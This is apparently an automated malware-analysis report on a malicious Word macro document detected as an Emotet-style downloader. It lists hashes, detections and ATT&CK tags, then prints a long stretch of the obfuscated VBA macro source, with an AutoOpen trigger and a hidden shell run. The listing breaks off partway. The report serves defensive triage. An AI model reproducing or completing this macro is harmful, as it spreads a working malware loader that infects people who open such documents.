Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa33ed5509519fab…

MALICIOUS

Office (OLE)

209.0 KB Created: 2018-03-21 21:32:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 32bc977b292cde12072f859e97f8c5b8 SHA-1: 7d86fda40885ef87368f1fe44f199561cf2acf0d SHA-256: fa33ed5509519fabc4126386f289e58a8b863358e8173991ad857d3745bc8aa6
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, as indicated by multiple OLE and VBA heuristic firings, including critical detections from ClamAV. The macros are designed to execute, likely downloading a secondary payload, which is a common technique for malware distribution. The presence of legacy WordBasic and Excel 4.0 macros suggests an older infection vector or a sample designed for broad compatibility.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(STXjjln).Run BjrQcQDqoz + Chr(VBA.vbKeyC) + zZNsRDiUbcKH + MaiUbXOaaECh + AlzCAOG, vbHide
Select Case ODYNbO
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "ZjHYzEmBr"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77297 bytes
SHA-256: d61ee1ccf8124521e05a88bb5b2ec4e6cccc21bcd6624de575d0c6c3f0ccea87
Detection
ClamAV: No threats found
Obfuscation or payload: likely
790 of 1307 identifiers look randomly generated (e.g. 'fKdnGIUDAjBgYAEDAiBgYAUDAmBAMAkDAjBwNAAD') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KVQkOiVwiHdiBN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DSCwWBL"
Function ciRFTJzPdKEH()
On Error Resume Next
Select Case bzIGR
         Case 89536
            JAiftw = OhPhjh
            dzTJo = iXAtr
            GqDLv = Cos(97069 * CBool(17948))
         Case 98678
            phpWrt = 14772
            qNZdEz = Fix(756)
            zdtEmz = Oct(71291)
End Select
zwLtRI = Lpjkwi("3MzlBAOAYGA1AwYAUGAmBAZAADAyAwMAQDAhBQZAUGA2AQMAgDAjBQZAkDAjBQZAYGAhBgMAEDAwAQYAkDA2AAZAUDA1AwMAEDA5AgNAQGAxAwNAMGA2AwYAYGAiBQOAIDAxAANAMGAiBQYAIGAwAQNAIGA0AANAQDAkBQYAUGA4AQYAQDAzAQYAkDAhBQYAMDA5AgNAYDIc7", 4 + 0, 199 + 0)
Select Case sqmKVT
         Case 66906
            ijoPin = GWXKjS
            BsCXw = Pvwpw
            dAHwi = Cos(43098 * CBool(58812))
         Case 98413
            VJkKJh = 74767
            OpEVVp = Fix(87277)
            wVOKn = Oct(74938)
End Select
Select Case odOBEw
         Case 90130
            pGjdL = nwBCWJ
            RYaLk = HpZtTs
            mSoijm = Cos(33818 * CBool(32807))
         Case 92076
            jUNIq = 88001
            mjCjX = Fix(9545)
            pTImjQ = Oct(25366)
End Select
rzJMniX = Lpjkwi("fKdnGIUDAjBgYAEDAiBgYAUDAmBAMAkDAjBwNAADA0AAMAYGAmBwYAIGAwAAOAMGAjBQOAMDAmBwNAMDAxAgNAMGAiBgNAcDAjBgMAYDAxq", 2 + 0, 100 + 0)
Select Case kLEUI
         Case 35698
            jrzVA = rXhRvZ
            kqPON = tNiik
            LUjBEV = Cos(71700 * CBool(64732))
         Case 33398
            LmBEww = 91837
            VkqGfu = Fix(92148)
            HHZIFN = Oct(25095)
End Select
Select Case tfEsF
         Case 68233
            pmtan = PadTru
            KiqYI = suQmEi
            bFXZw = Cos(92832 * CBool(39043))
         Case 77410
            zprdd = 35522
            FMzms = Fix(82163)
            ojkXr = Oct(59259)
End Select
tXFPkdCz = Lpjkwi("9DHYAYDAzAgMAkDAlBQZAMDAiBQOAUDAhBQNAkDAhBAZAMDAyAgCqzaG6", 7 + 0, 48 + 0)
Select Case zprZJ
         Case 17849
            EVvaX = fBjiEZ
            KZFwUk = itNYcJ
            zAAETJ = Cos(4535 * CBool(2691))
         Case 83627
            MVrjn = 99579
            SRqOZ = Fix(69272)
            EZSUKH = Oct(43388)
End Select
Select Case ihvtO
         Case 61283
            ZlQdL = wAtErb
            ntOoMR = QrVsb
            YWEdhc = Cos(87925 * CBool(93117))
         Case 86587
            DsjZE = 16532
            YjiPip = Fix(35403)
            hwXri = Oct(31036)
End Select
YqFHqTX = Lpjkwi("dQdwMAkDAkBQZAkDA4AQOAUDA0AQMAIGA1AQYAYGAiBQZAQGA1AwMAcDA5AQZAMDA0AQOAMGA5AgZAIDAiBQMAIDAxAwNAIDAjBQOAYGA1AAOAYG6Pn", 5 + 0, 108 + 0)
Select Case BfQbw
         Case 30732
            PhDuj = wfrDH
            wMtQt = lWzfVE
            wfqAJ = Cos(55536 * CBool(23063))
         Case 30372
            QAMkJ = 13161
            BEUkW = Fix(37526)
            IPWuK = Oct(87211)
End Select
Select Case GfODE
         Case 36432
            ZKUoFY = jGQOji
            BtBIBL = EYccw
            EwjDH = Cos(7126 * CBool(35059))
         Case 42673
            ZkKpaH = 4180
            pWwiEl = Fix(24937)
            CHGVms = Oct(23872)
End Select
IlPXCj = Lpjkwi("m84AyAANAQGA0AgZAMDAxAAZAQGAlBQOAQGAyAgYAIDAyAQOAIDA2AQMAUGAkBwMAQGAjBAOAMDAwAAOAEDAkBQMAkDA3AQMAcDAjBQNAEDAyAgZAYGA3AwhONr", 5 + 0, 116 + 0)
Select Case UZkZM
         Case 12593
            LEUUQw = lMCpm
            BZzMT = FwLBu
            YDUBWc = Cos(40674 * CBool(67389))
         Case 82721
            akRwwq = 42378
            SzGGFv = Fix(49176)
            GDBiA = Oct(6142)
End Select
Select Case XZIdR
         Case 44213
            ZvzCBh = iDiiM
            YhlJTE = RfXUT
            HpApnq = Cos(38400 * CBool(33239))
         Case 56818
            HcaXAn = 15203
            JBAwpo = Fix(97774)
            MMVuX = Oct(59825)
End Select
wAtRQFf = Lpjkwi("UEfEXEi| drOWuQwiUuQwiUAP.)(LAITNederCkROWTeNTeg.)))512..642( yEK- GNIRTuQwiUERUcEuQwiU-oTtREvnoc |'=AwYBf.4n", 6 + 0, 84 + 0)
Select Case WZbiOv
         Case 76877
            XvHijs = KiXrKR
            LzMqcd = wjCct
            wZItl = Cos(42143 * CBool(17775))
         Case 55939
            iKRSf = 4586
            WjURrO = Fix(52303)
            YSKlb = Oct(23015)
End Select
Select Case bSWfoa
         Case 40386
            zsipt = SCwfr
            nDZpjU = FcKsn
            pTtFUz = Cos(6854 * CBool(77817))
         Case 56139
            rVfvhb = 57342
            IrmGY = Fix(86923)
            wTFPho = Oct(99678)
End Select
zHBwns = Lpjkwi("IwbPO,TnEMeGANAm  TcejBO-wEn ( X,", 3 + 0, 25 + 0)
Select Case LEtYwc
         Case 64770
            uKZhUE = oiwFk
            rivAZY = wZvosd
            rnDhb = Cos(50744 * CBool(7456))
         Case 85128
            wMLsuQ = 70972
            jPvTVw = Fix(46240)
            EDpUO = Oct(71189)
End Select
Select Case SiwAX
         Case 59677
            lmvAzB = rjiKM
            zBOJw = ZrfTS
            zzpBF = Cos(59595 * CBool(79147))
         Case 56167
            bbAHH = 72703
            kYAGf = Fix(3677)
            QQmBF = Oct(9965)
End Select
OSXUkIJWlLr = Lpjkwi("h1YnDAhBwYAkDA4AQYAUGA3AAOAkDAjBQYAIDA3AAMAkDA3AQZAUDAyAQMAADA5AgYAcDA3AwYAEDA0AgYAUDAiBwMAIDA1AQOAEDA5AwMAYDAiBQZAADAkBgMAIDAmBQNAUGAiBQYAEGA3AwMAMDA0AwMAgDA0AQYAIDAkBQZAQDA0AQNAEGAlBQOAIGAn7U", 4 + 0, 186 + 0)
Select Case GSdjzE
         Case 33988
            aDVjRY = OCrjCH
            SLlza = lSdjY
            UIWYH = Cos(65002 * CBool(10097))
         Case 89916
            zlwkzq = 3891
            KZCjzz = Fix(35083)
            BdtEIZ = Oct(72401)
End Select
Select Case tjRQid
         Case 23045
            RBAVO = YuTNO
            CvjSz = hSDKX
            wzNrY = Cos(99060 * CBool(6942))
         Case 60758
            lNslAG = 61892
            JKRvB = Fix(47931)
            CwSIwt = Oct(27121)
End Select
HrtwCOLLl = Lpjkwi("h5z%vHAlBAOAUDA1AwYAQDAkBQYAcDA3AQYAUGAwAQOAQDAxAAMAMDA4AAOAgDAhBQNAcDA2AAZAMGAhBANAQDA2AQYAADA2AgNAIDA5AwNAADAyAwYAYGAzAwNAUDAzAwMAgDAwAgZAQDAhBAMAMGAzAAZAQGA3AwNAYDAwN", 2 + 0, 162 + 0)
Select Case dwZPE
         Case 63686
            TJjvQ = nhwPBQ
            zFFuaO = ZjujhX
            Pmbqc = Cos(39213 * CBool(75349))
         Case 82719
            MGHRP = 33714
            tvdTH = Fix(46644)
            fppswn = Oct(28816)
End Select
Select Case XrAPu
         Case 11124
            uJCbfB = YPIWcz
            MwuWSu = kjCTf
            mwaRGS = Cos(84904 * CBool(84393))
         Case 21506
            dYfOi = 84026
            OjkjLu = Fix(11718)
            bLLJZz = Oct(15719)
End Select
UAfRwQJ = Lpjkwi("1@bqzAYDA5AQMAQDA5AANAIDAlBQZAQGA4AAOAIDAzAAOAEGA4AAMAgDA1AAOAMGA0AQYAQGA0%1", 3 + 0, 69 + 0)
Select Case Hvaor
         Case 30583
            ErBiR = mjotJn
            vKaDUY = HjhlNV
            XSECj = Cos(98091 * CBool(43729))
         Case 60764
            KMpuof = 45431
            QMVEz = Fix(40536)
            USlCY = Oct(18071)
End Select
Select Case qfisd
         Case 89359
            BtcStr = AZwLlC
            TjwKjv = hCcfQv
            OoDdu = Cos(43599 * CBool(501))
         Case 26613
            ICRtVZ = 80989
            iIiXzi = Fix(65272)
            wKUrzm = Oct(54943)
End Select
tIAPTciMT = Lpjkwi("QGz1GAjBwMAQGA3AQNAIGAjBgNAIGAkBwMAADAmBQMAIGAkBAZAIGA3AQNAgDAxAAZAYGA2AQNAEDAjBQNAYGAzAQMAIDAxAwMAQGAhBgZAEGA2AQOAgDAwAQZAMDAjBQYASv4i", 5 + 0, 127 + 0)
Select Case omkshr
         Case 60478
            FwnIOC = HMcBI
            iOGVj = MfWhVZ
            FjpzS = Cos(75015 * CBool(54966))
         Case 94199
            AuZiw = 95349
            fWlTj = Fix(18518)
            iWAvT = Oct(11812)
End Select
Select Case XazNRR
         Case 97382
            sBOvE = rctOh
            BndUzR = UfiUuz
            QRIUK = Cos(79674 * CBool(4206))
         Case 31601
            ldbSV = 71679
            qraAt = Fix(68259)
            dNAWiW = Oct(18679)
End Select
jtqdiarZiws = Lpjkwi("njJMEwAAOAQGAmBQNAEGAhBAZAYGAkBAOAMGAjBQYAADB46f", 5 + 0, 39 + 0)
Select Case UwumaT
         Case 47580
            swkXr = XwZidr
            TwQhTf = KTXtF
            JdYjK = Cos(65342 * CBool(34203))
         Case 78170
            DILFmp = 4300
            vtREAB = Fix(56510)
            GoRsZ = Oct(48201)
End Select
Select Case wiuTZ
         Case 92814
            zALFh = Piiizv
            wSYmu = GwJdFm
            phEdzE = Cos(28598 * CBool(18106))
         Case 7573
            jXjQM = 33674
            rhUCF = Fix(57525)
            HZupP = Oct(77863)
End Select
AmXtwzEPf = Lpjkwi("fkrCnAkBgNAEGAlBgYAwHA9AQPAEEAi", 2 + 0, 25 + 0)
Select Case FSpkh
         Case 50299
            jtjts = sPNOti
            mXSpk = uVXKY
            PBaErf = Cos(60610 * CBool(83374))
         Case 791
            ooJMk = 34293
            Mfwkjl = Fix(66521)
            AAdfi = Oct(16782)
End Select
Select Case vWhtLA
         Case 13176
            jWAsJN = ACVmS
            aJrWWt = Wawqja
            aXkdz = Cos(38348 * CBool(62275))
         Case 51182
            ETRYT = 54354
            ABIAUM = Fix(81201)
            pHVVG = Oct(46383)
End Select
ICwUppmm = Lpjkwi("qdGiMAQGA4AAOAIGA4AgMAQGAzAgNAYkvl,", 5 + 0, 27 + 0)
Select Case IjDid
         Case 33139
            pwvAAn = EURuf
            oaapOh = nqwKU
            tKiVow = Cos(56592 * CBool(17064))
         Case 23045
            EULCU = 71603
            DaaZVh = Fix(17489)
            QwDDz = Oct(99916)
End Select
Select Case RnPTF
         Case 38912
            iMlQLk = ERETB
            mNTwWl = AcKmKF
            sNjmuS = Cos(59480 * CBool(83917))
         Case 4962
            ZsIMj = 98275
            hfRiE = Fix(38099)
            wTXZB = Oct(3807)
End Select
ShRGk = Lpjkwi("Mw@Nc.3A2AQNAIGAiBwM3R", 3 + 0, 13 + 0)
Select Case FGnWqk
         Case 35211
            iLvKI = dckUd
            FinOo = PpbvFp
            LUmVp = Cos(80799 * CBool(28610))
         Case 68649
            zGntK = 85482
            rnFYt = Fix(88641)
            SYivUc = Oct(95750)
End Select
Select Case AOZIlT
         Case 652
            zUhzBw = utjfdD
            GqpDL = FDbqN
            NRjfR = Cos(25834 * CBool(19822))
         Case 80827
            SCWQo = 88688
            zfqFra = Fix(16642)
            TiIfcw = Oct(87399)
End Select
vmUWkNraj = Lpjkwi("MJuzntjlBgYAADA3AwMAMDAjBANAkDAhBQOAgDA1AAOAkDAhBQZAIGA4AAMAUDAzAAMAUGA2AgZAYDA3AQ5", 2 + 0, 75 + 0)
Select Case kqjMOO
         Case 29028
            TNOnn = mWbTD
            zISmIz = iFfNN
            LmZFh = Cos(45787 * CBool(71969))
         Case 31638
            miLVv = 849
            lDJtzr = Fix(53733)
            wDQBj = Oct(25207)
End Select
Select Case jrEzRr
         Case 86655
            CERmN = tqRljd
            JwXMu = sXAia
            jizpu = Cos(90849 * CBool(8047))
         Case 76597
            GRtVCu = 77645
            wmamO = Fix(49326)
            jmWSAk = Oct(4875)
End Select
iTcAEFqQpD = Lpjkwi("U7CjBgZAMGAwAAMAUGAxAgMAgDAzAwMAMGAxAwYAUDA3AQMAYDA3AgYAEDAjBAOAIDAyAwYAl4.%C", 6 + 0, 68 + 0)
Select Case rhiPw
         Case 2804
            qipnD = irsiET
            wASUE = IHYmn
            DuCnXi = Cos(84995 * CBool(5632))
         Case 52296
            vwaVLB = 91458
            nvRAaq = Fix(27981)
            LrsQR = Oct(86239)
End Select
Select Case TiTlM
         Case 17752
            cuZjwq = ZHGIl
            YGHOB = XuLDi
            CQiCk = Cos(73260 * CBool(63739))
         Case 1043
            VXrzIr = 18968
            IPupvo = Fix(24910)
            EjHlhQ = Oct(83363)
End Select
nHCqiwXR = Lpjkwi("LXDAyAANAIDA0AQOAEDA1AQOAUGAyAQZAQGAmBQOAIG,6jnn9", 7 + 0, 41 + 0)
Select Case PwaXXW
         Case 39133
            kiCjPR = NNODno
            HbRafC = OFEfA
            MRmJlv = Cos(35885 * CBool(10340))
         Case 31718
            dLnquY = 37455
            DCnpw = Fix(10306)
            rRCVZz = Oct(7251)
End Select
Select Case dZJQf
         Case 91265
            tDDiz = OBWEWX
            biwHBP = ErnQJ
            ALjSc = Cos(24611 * CBool(54175))
         Case 81193
            jvTRm = 49555
            KnAZR = Fix(80388)
            aCOPkT = Oct(4347)
End Select
DnRnvE = Lpjkwi("KiAcDAzAAMAQGA5AAOAQGAkBQNAYGAiBAMAQGAzAgZAUGA2AgNAIGAwAQOAMGAjBAOAADAwAAOAYDAzAAZAgDA5AQNAMDAxAAZAIGAlBwYAYGA5AAMAUDAiBwYAEGAxAQNAYGA1AwYAgDA1AAMAEDAkBwMAQDAyAAOAQGAkBQMAYGAyAwNAIGAlBAMAkDuQwiUuvlB", 6 + 0, 187 + 0)
Select Case nYlfC
         Case 33406
            bJvHP = DnkdkE
            APkuKM = QOzrW
            UIufG = Cos(44028 * CBool(67312))
         Case 13390
            rdJaE = 44439
            imAPV = Fix(29448)
            orVqH = Oct(74590)
End Select
Select Case dKjKt
         Case 9302
            tdkXj = zGjUc
            uDISi = jEApl
            CvWEK = Cos(8355 * CBool(37892))
         Case 15638
            QYsZP = 69645
            jnWVRT = Fix(32307)
            VrwBN = Oct(99896)
End Select
hMPqWCuvo = Lpjkwi("BixAQOAQDAiBQYAgDA2AgZAgDA2AQZAIDAlBQNAYDAxAQYAEDA5AgZAMDA0AgNAADAwAgYAMGAjBQMAkDAlBgMAEGA5AANAgDAlBgYAkDIjbqjhd", 8 + 0, 103 + 0)
Select Case DsfUl
         Case 57208
            viAUEi = PtSYwV
            TPoji = jTGSu
            EUztu = Cos(97725 * CBool(12332))
         Case 81447
            rUzOmj = 10825
            fdRiwk = Fix(54659)
            lGSJcY = Oct(66917)
End Select
Select Case kAida
         Case 81675
            sdzAI = rawru
            BsWaAV = XhMii
            jfJwor = Cos(99741 * CBool(4017))
         Case 90382
            ECwwo = 34934
            FnPrWZ = Fix(27294)
            dHaTVj = Oct(89350)
End Select
osUhNDsjiYI = Lpjkwi("WfT5AlBQYAQDAmBAOAIGAhBQYAYDAkBwMAUGAhBAOAIGAjBQZAQGAiBgMAQGAkBgZAYGAjBAMAMGA0AgYAIGA5AwYAYDA5AgMAMGA1AQMAkDAiBgYAMGAiBgMAMGA1AwYAUGAzAgYAUGANSG", 4 + 0, 137 + 0)
Select Case IYphd
         Case 18586
            uuGXS = CWMFn
            uOBNF = WLjZiZ
            Jjqazk = Cos(29902 * CBool(91177))
         Case 75257
            wQCvC = 51439
            ONhYzH = Fix(13470)
            jmHwR = Oct(40768)
End Select
Select Case LJbjE
         Case 35773
            hBiKU = DpswEo
            kFEVsz = Tjzwa
            qGBPDM = Cos(61072 * CBool(12465))
         Case 92677
            OMvfhE = 53983
            dXQlF = Fix(9505)
            rHMsA = Oct(4142)
End Select
jLmhv = Lpjkwi("wlLlxAAOAIDAiBgYAgDA5AwYAcDA5AQOAEGAzAZm", 3 + 0, 34 + 0)
Select Case jpswod
         Case 86528
            JmoZpI = SXOEiV
            OFBwI = ESNvd
            dGmlQw = Cos(46555 * CBool(73190))
         Case 26901
            wfPzup = 78921
            vTOfan = Fix(91287)
            UjnqYs = Oct(92479)
End Select
Select Case TQNTbb
         Case 21825
            LzIks = FGLqvX
            bmhPC = kkhlL
            WNhMJr = Cos(16389 * CBool(12954))
         Case 24702
            pVJUdW = 95824
            Kojcsd = Fix(60547)
            ZJahi = Oct(23364)
End Select
zcIHicqJq = Lpjkwi("hzuQwiUmjbBAQNAQDAiBgYAQDA2AQMAQDA3AAMAkDA4AQMAgDA0AwNAIGA0AgZAMG1L", 3 + 0, 54 + 0)
Select Case KVPYtC
         Case 98522
            RzizMG = oOmhbX
            uUDhFR = jfOdYz
            NwEwKA = Cos(36062 * CBool(56743))
         Case 19328
            TzsUMu = 93984
            ZTbuUM = Fix(95159)
            okTUUn = Oct(13709)
End Select
Select Case WzjMj
         Case 64144
            JUBQbm = rOAmLW
            isGEOk = ZuauJ
            FqszYE = Cos(92178 * CBool(53464))
         Case 35018
            Zficr = 3757
            zLCdo = Fix(9703)
            IVwikZ = Oct(52157)
End Select
uzHwuAwOQk = Lpjkwi("KBZAEDAzAgZAQGAmBgMAADA0AQYAMDAhBQYAYDAzAgNAADAhBgNAQDAzAANAgDAwAQOAEDAyAwYAADA1AgMAEGA3AQNAUGAzAgZAUGAzAgMAMDA2AwNAADAlvGbu", 5 + 0, 118 + 0)
Select Case RniAW
         Case 7386
            HazQj = ZfIXXh
            iHUQlP = DHQrsh
            Nuzrf = Cos(17864 * CBool(68059))
         Case 9314
            iYVvjp = 76303
            MswoK = Fix(37765)
            OGPLz = Oct(18138)
End Select
Select Case hIrhJ
         Case 62213
            EXzOjn = aaSudA
            OvCaC = imSLiA
            conTTr = Cos(76594 * CBool(22669))
         Case 71450
            LVfuu = 94926
            YOzESN = Fix(78288)
            GqwRF = Oct(72030)
End Select
jUSHvHa = Lpjkwi("Wj7mBBQZAgGA4AQOAIDA0AgbAMDAUBgQAMEAKBAZAkHAkBgUAuQwiUCAlBQTAIHA8BgM5435a05061b3143240f3476111d29467' ( ,' ' lAITnedeRCuQwiUp.nOitAMOTUa.,v%MA", 6 + 0, 125 + 0)
Select Case fGGmmz
         Case 50865
            ModjqE = uopXn
            DdKbz = MAruf
            bpZoIK = Cos(90625 * CBool(95690))
         Case 53563
            PpiwBk = 92870
            cizUc = Fix(55542)
            LnnNlU = Oct(89071)
End Select
Select Case ChPjlf
         Case 98097
            isqqa = mbtqlC
            IWznTE = TdHJKj
            SzzVo = Cos(12857 * CBool(81644))
         Case 45375
            mkrnDm = 26842
            GSutKQ = Fix(92236)
            aDoBl = Oct(64523)
End Select
owDzR = Lpjkwi("6EADAkBAMAUDAwAQOAIGAlBANAcDAzAQOAMDAyAAMAIGAlBgZAIDAhBgNAQGAhBQYAgDA4AQYAUDA5AgNAEGAyAwNAcDAlBwNAIDA1AwYAEDAmBgMAEDAxAQZAkDAwAAOAMGA2AANAEGAmBQZAYGA5AAOAEGAwAQNAgDAwAAZAMGAxAQYAcDAwAAOAkDA3OhF6", 6 + 0, 187 + 0)
Select Case ujTbuU
         Case 93282
            qkXMCb = sjPdC
            mGIiDE = DCWOE
            zDjKT = Cos(18057 * CBool(18801))
         Case 43143
            JnDtp = 18290
            HlHim = Fix(15852)
            LtrQis = Oct(77759)
End Select
Select Case pKuSo
         Case 4325
            tjDvr = dVQbNR
            HRjWM = XGiBi
            wVKjj = Cos(69120 * CBool(87092))
         Case 54640
            uEAYk = 39826
            zlNVw = Fix(64545)
            YdYGU = Oct(58404)
End Select
hrNYjRYMbr = Lpjkwi(".%9CqYAMGAmBANAADAzAgMAgDA4AANAcDAwAgMAYDAyAAMAYGAhBQNAEDA5AQZAkDAxAgZAMDAmBAZAIGAmBQOAUDAiBwMAMGA2AQMAADA4AgN", 2 + 0, 104 + 0)
Select Case PfYbs
         Case 53620
            mhrUp = NMjzcw
            JsnJX = UmGLd
            wRiYb = Cos(93760 * CBool(83157))
         Case 86206
            KDVAHl = 75499
            wadWV = Fix(99005)
            sPEcH = Oct(61290)
End Select
Select Case BRLGmR
         Case 32443
            FGDSKL = wsKBt
            QzQWvR = aRCpYz
            FZHHz = Cos(93287 * CBool(767))
         Case 3341
            FDJhOL = 32398
            wfzlRv = Fix(69172)
            zlAoDO = Oct(89221)
End Select
hYKTkkiazG = Lpjkwi("kO6.6nLNAIGAkBAZAUDAyAQMAMDAhBAMAgDAxAQYAYDAyAwMAEGAwAANAUDAyAQOAUGA4AAZAUDAlBwNAMGA3ACn", 3 + 0, 79 + 0)
Select Case IAWlD
         Case 7264
            dPNKTl = ROAIrs
            SniXQz = ANirJ
            ZNpfqu = Cos(66914 * CBool(42630))
         Case 42043
            kQFQT = 72347
            vXBPpM = Fix(83352)
            mGldB = Oct(59524)
End Select
Select Case PusWBM
         Case 52145
            EirhQ = JhLkR
            RfEPT = EjwQM
            jFnNh = Cos(63827 * CBool(50398))
         Case 80206
            tHElcN = 97036
            sSRosc = Fix(68128)
            cDiHrQ = Oct(77858)
End Select
zKzkiZrLZ = Lpjkwi("nzlAgMAEDA0AwNAMGAiBAMAgDA0AwMAEDA5AAZAUDA3AwNAEGAhBgMAMGAwAQZAgDAyAAOAUDAhBAOAYDAhBQZAcDAwAgZAYDAzAwNAIDAxAQMAQDAmBAOAQDA5AQNAEGAwAwNAgDA4AQZAQDA3AAZAcDAwAQZAQDAzAQMAYGAxAANAcDA1AgYAIGAlBQZAkDA0AAOAQUz4cC9", 7 + 0, 197 + 0)
Select Case VwLOv
         Case 1200
            KbdYYz = rFGzGz
            hqdEXE = rhvcTm
            iBjor = Cos(77289 * CBool(13169))
         Case 25573
            ELqzM = 56370
            sKqXn = Fix(14301)
            KYvzTt = Oct(66335)
End Select
Select Case XvfJr
         Case 19309
            XGGjG = hiiwJ
            hkdLjS = uioRPQ
            IFjTb = Cos(97158 * CBool(49575))
         Case 78867
            LPRut = 66084
            YZIwT = Fix(73283)
            kwrGPi = Oct(66700)
End Select
JpRKa = Lpjkwi("O4nzTAwMAQDA7lY%", 5 + 0, 7 + 0)
Select Case qSusbw
         Case 22406
            LQsLR = RXqLVQ
            HSsWLv = ksJKp
            YwABG = Cos(20135 * CBool(24968))
         Case 5277
            iaaboi = 37763
            DISwj = Fix(1045)
            VQCpm = Oct(36719)
End Select
Select Case HUPhO
         Case 13719
            Lavnb = FLjqW
            jtkjt = LjdGQ
            ntZqA = Cos(34944 * CBool(76307))
         Case 21745
            ErEir = 63313
            mrFqw = Fix(73289)
            MXnWZ = Oct(5849)
End Select
LfMcaI = Lpjkwi("fC3AANAkDA0AQYAMDAyAwNAMDAwAQZAcDAzAwYAYDAjBANAADA5AAZAQGAjBgMAQDAhBwNAUGAiBQNAEDA5AgNAUDAxAANAADAxAQMAIGA4AQZAEDA2AAMAIGAiBgNAEDA0AQMAIGA2AANAIGAlBgMAYDAwAwYAYGAzAAMAADAwAwNAIDAkBQZAUDA2AAOAUDAxANzkNBRU", 8 + 0, 194 + 0)
Select Case jFKuAi
         Case 78101
            KRCKO = BfCBbA
            lAaCBV = SNvOI
            Ymujrw = Cos(42512 * CBool(44744))
         Case 63739
            nnXsKs = 71208
            wCfuE = Fix(68944)
            zMbwwV = Oct(77189)
End Select
Select Case Quhnn
         Case 80271
            NWCWF = ZbotI
            jrsio = VALBc
            PBKddP = Cos(7444 * CBool(78433))
         Case 83636
            NvnMq = 8677
            Koziv = Fix(75631)
            XQtaS = Oct(80138)
End Select
ZdSNCwbu = Lpjkwi("cS3bUGAyAQYAMDAmBwNAYGA3AQMAMGAhBwYAIDAiBwNAQGAwAwNAYGA3AwYAADAhBAOAQDAzAQZAkDAyAwYAQGA4AgZAEGA0AQOAMGAkBAZAEDAhBAZAEDA5AAOAMGA2AgZAIDA1AwMAMDAwAQMUuh", 4 + 0, 143 + 0)
Select Case MuLHD
         Case 10812
            wZpUVT = zrbWQj
            McITO = GNVdWB
            BAbEm = Cos(97865 * CBool(46176))
         Case 22529
            JOZUo = 49855
            REBIB = Fix(99019)
            DopNo = Oct(72635)
End Select
Select Case qDiKEl
         Case 86638
            zkPWBa = cNKniP
            OTniCa = QcjEOU
            Sojri = Cos(99812 * CBool(50112))
         Case 57354
            jkGwmX = 22539
            KREoLW = Fix(41923)
            SziHjS = Oct(75448)
End Select
hUzcKUWKS = Lpjkwi("%vIZAQDAzAQNAUGA1AwMAgDA5AwMAYDA5AQOAcDAlBQOAEGAwAgMAYGA2AwMAIDAlBAZAMDAL59", 4 + 0, 69 + 0)
Select Case WJZbw
         Case 92971
            MksDz = bLsRqu
            QPHRNI = ArWrR
            Accwkt = Cos(27330 * CBool(4860))
         Case 83635
            TSYnr = 78230
            qtXqqG = Fix(4856)
            NnhPV = Oct(28035)
End Select
Select Case WCBJs
         Case 53669
            hwnYj = GQnfG
            wsAEs = PXusIo
            wOMArj = Cos(86475 * CBool(2053))
         Case 93741
            LDaXA = 30791
            ilXRG = Fix(24366)
            zJTdE = Oct(33264)
End Select
ARXBDaaw = Lpjkwi("cE7tIDAxAAMAMGAzAANAEDAxAgYAPb", 3 + 0, 23 + 0)
Select Case pzvkmu
         Case 31505
            vNNBWo = SSOHp
            WQLsC = ChQPwf
            VDfnNV = Cos(76950 * CBool(64588))
         Case 79681
            DFqjv = 82450
            PwbaT = Fix(66681)
            rkENOf = Oct(95564)
End Select
Select Case Jnulod
         Case 22850
            sSqFW = vtPUR
            wULlr = whNiGC
            wwkVL = Cos(55673 * CBool(77346))
         Case 44075
            kZtRz = 14173
            iiBls = Fix(99313)
            bItwfi = Oct(6145)
End Select
jGzUfWPzhp = Lpjkwi("39lQAYDA5AAMAcDAyAgNAYGAzAgMAQGAxAgNAQDAlBANAEGAzAAOAADAiBAZAEDAjBANAIDAwAAMAkDA1AwYAUDAxAQOAMGAzAAZAMDAxAgZAYDAkBwNAUDAmBANAEDAyAANAcDA4AAZAYM1", 4 + 0, 137 + 0)
Select Case MnrYX
         Case 21945
            Drdvw = lrZsrP
            DEQUwH = MRiIs
            ZNFaZk = Cos(12477 * CBool(12395))
         Case 51357
            IzDFq = 32471
            FoPTG = Fix(15725)
